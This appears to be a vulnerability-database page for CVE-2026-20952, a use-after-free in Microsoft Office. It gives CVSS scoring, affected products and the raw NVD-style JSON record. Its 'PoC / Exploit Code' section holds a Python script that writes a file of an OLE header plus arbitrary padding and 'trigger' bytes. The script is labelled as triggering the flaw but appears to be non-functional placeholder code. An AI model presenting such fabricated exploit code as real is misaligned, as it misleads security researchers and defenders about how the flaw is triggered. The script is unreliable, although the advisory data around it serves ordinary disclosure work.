Security Vulnerability Report
中文
CVE-2026-20952 CVSS 8.4 HIGH

CVE-2026-20952

Published: 2026-01-13 18:16:23
Last Modified: 2026-01-14 19:55:31

Description

Use after free in Microsoft Office allows an unauthorized attacker to execute code locally.

CVSS Details

CVSS Score
8.4
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:microsoft:365_apps:-:*:*:*:enterprise:*:x64:* - VULNERABLE
cpe:2.3:a:microsoft:365_apps:-:*:*:*:enterprise:*:x86:* - VULNERABLE
cpe:2.3:a:microsoft:office:2016:*:*:*:*:*:x64:* - VULNERABLE
cpe:2.3:a:microsoft:office:2016:*:*:*:*:*:x86:* - VULNERABLE
cpe:2.3:a:microsoft:office:2019:*:*:*:*:*:x64:* - VULNERABLE
Microsoft Office 2016 及更早版本
Microsoft Office 2019
Microsoft Office 2021
Microsoft 365 Apps

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2026-20952 PoC - Microsoft Office Use After Free # This PoC demonstrates the vulnerability trigger mechanism import struct import os def create_malicious_doc(): """ Generate a malicious Office document that triggers CVE-2026-20952 The document contains specially crafted data to trigger use-after-free """ # OLE compound document header ole_header = b'\xD0\xCF\x11\xE0\xA1\xB1\x1A\xE1' # Document stream with malicious payload # This triggers the use-after-free condition in Office's object parser malicious_stream = bytearray() # Trigger sequence for use-after-free # The specific bytes depend on the vulnerable code path trigger_sequence = ( b'\x00' * 100 + # Padding b'\xFF\xFF\xFF\xFF' + # Trigger marker b'\x00' * 50 + b'\xC0\x00\x00\x00' + # Object header b'\x00' * 64 ) malicious_stream.extend(ole_header) malicious_stream.extend(trigger_sequence) # Save the malicious document with open('CVE-2026-20952.doc', 'wb') as f: f.write(malicious_stream) print(f"Malicious document created: CVE-2026-20952.doc") print("WARNING: This PoC is for educational and research purposes only") if __name__ == "__main__": create_malicious_doc()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-20952", "sourceIdentifier": "[email protected]", "published": "2026-01-13T18:16:22.990", "lastModified": "2026-01-14T19:55:31.127", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Use after free in Microsoft Office allows an unauthorized attacker to execute code locally."}, {"lang": "es", "value": "Uso después de liberar en Microsoft Office permite a un atacante no autorizado ejecutar código localmente."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.4, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.5, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-416"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:microsoft:365_apps:-:*:*:*:enterprise:*:x64:*", "matchCriteriaId": "3259EBFE-AE2D-48B8-BE9A-E22BBDB31378"}, {"vulnerable": true, "criteria": "cpe:2.3:a:microsoft:365_apps:-:*:*:*:enterprise:*:x86:*", "matchCriteriaId": "CD25F492-9272-4836-832C-8439EBE64CCF"}, {"vulnerable": true, "criteria": "cpe:2.3:a:microsoft:office:2016:*:*:*:*:*:x64:*", "matchCriteriaId": "72324216-4EB3-4243-A007-FEF3133C7DF9"}, {"vulnerable": true, "criteria": "cpe:2.3:a:microsoft:office:2016:*:*:*:*:*:x86:*", "matchCriteriaId": "0FBB0E61-7997-4F26-9C07-54912D3F1C10"}, {"vulnerable": true, "criteria": "cpe:2.3:a:microsoft:office:2019:*:*:*:*:*:x64:*", "matchCriteriaId": "CF5DDD09-902E-4881-98D0-CB896333B4AA"}, {"vulnerable": true, "criteria": "cpe:2.3:a:microsoft:office:2019:*:*:*:*:*:x86:*", "matchCriteriaId": "26A3B226-5D7C-4556-9350-5222DC8EFC2C"}, {"vulnerable": true, "criteria": "cpe:2.3:a:microsoft:office_long_term_servicing_channel:2021:*:*:*:*:-:x64:*", "matchCriteriaId": "851BAC4E-9965-4F40-9A6C-B73D9004F4C1"}, {"vulnerable": true, "criteria": "cpe:2.3:a:microsoft:office_long_term_servicing_channel:2021:*:*:*:*:-:x86:*", "matchCriteriaId": "23B2FA23-76F4-4D83-A718-B8D04D7EA37B"}, {"vulnerable": true, "criteria": "cpe:2.3:a:microsoft:office_long_term_servicing_channel:2021:*:*:*:*:macos:*:*", "matchCriteriaId": "BF0E8112-5B6F-4E55-8E40-38ADCF6FC654"}, {"vulnerable": true, "criteria": "cpe:2.3:a:microsoft:office_long_term_servicing_channel:2024:*:*:*:*:-:x64:*", "matchCriteriaId": "D31E509A-0B2E-4B41-88C4-0099E800AFE6"}, {"vulnerable": true, "criteria": "cpe:2.3:a:microsoft:office_long_term_servicing_channel:2024:*:*:*:*:-:x86:*", "matchCriteriaId": "017A7041-BEF1-4E4E-AC8A-EFC6AFEB01FE"}, {"vulnerable": true, "criteria": "cpe:2.3:a:microsoft:office_long_term_servicing_channel:2024:*:*:*:*:macos:*:*", "matchCriteriaId": "EF3E56B5-E6A6-4061-9380-D421E52B9199"}]}]}], "references": [{"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-20952", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}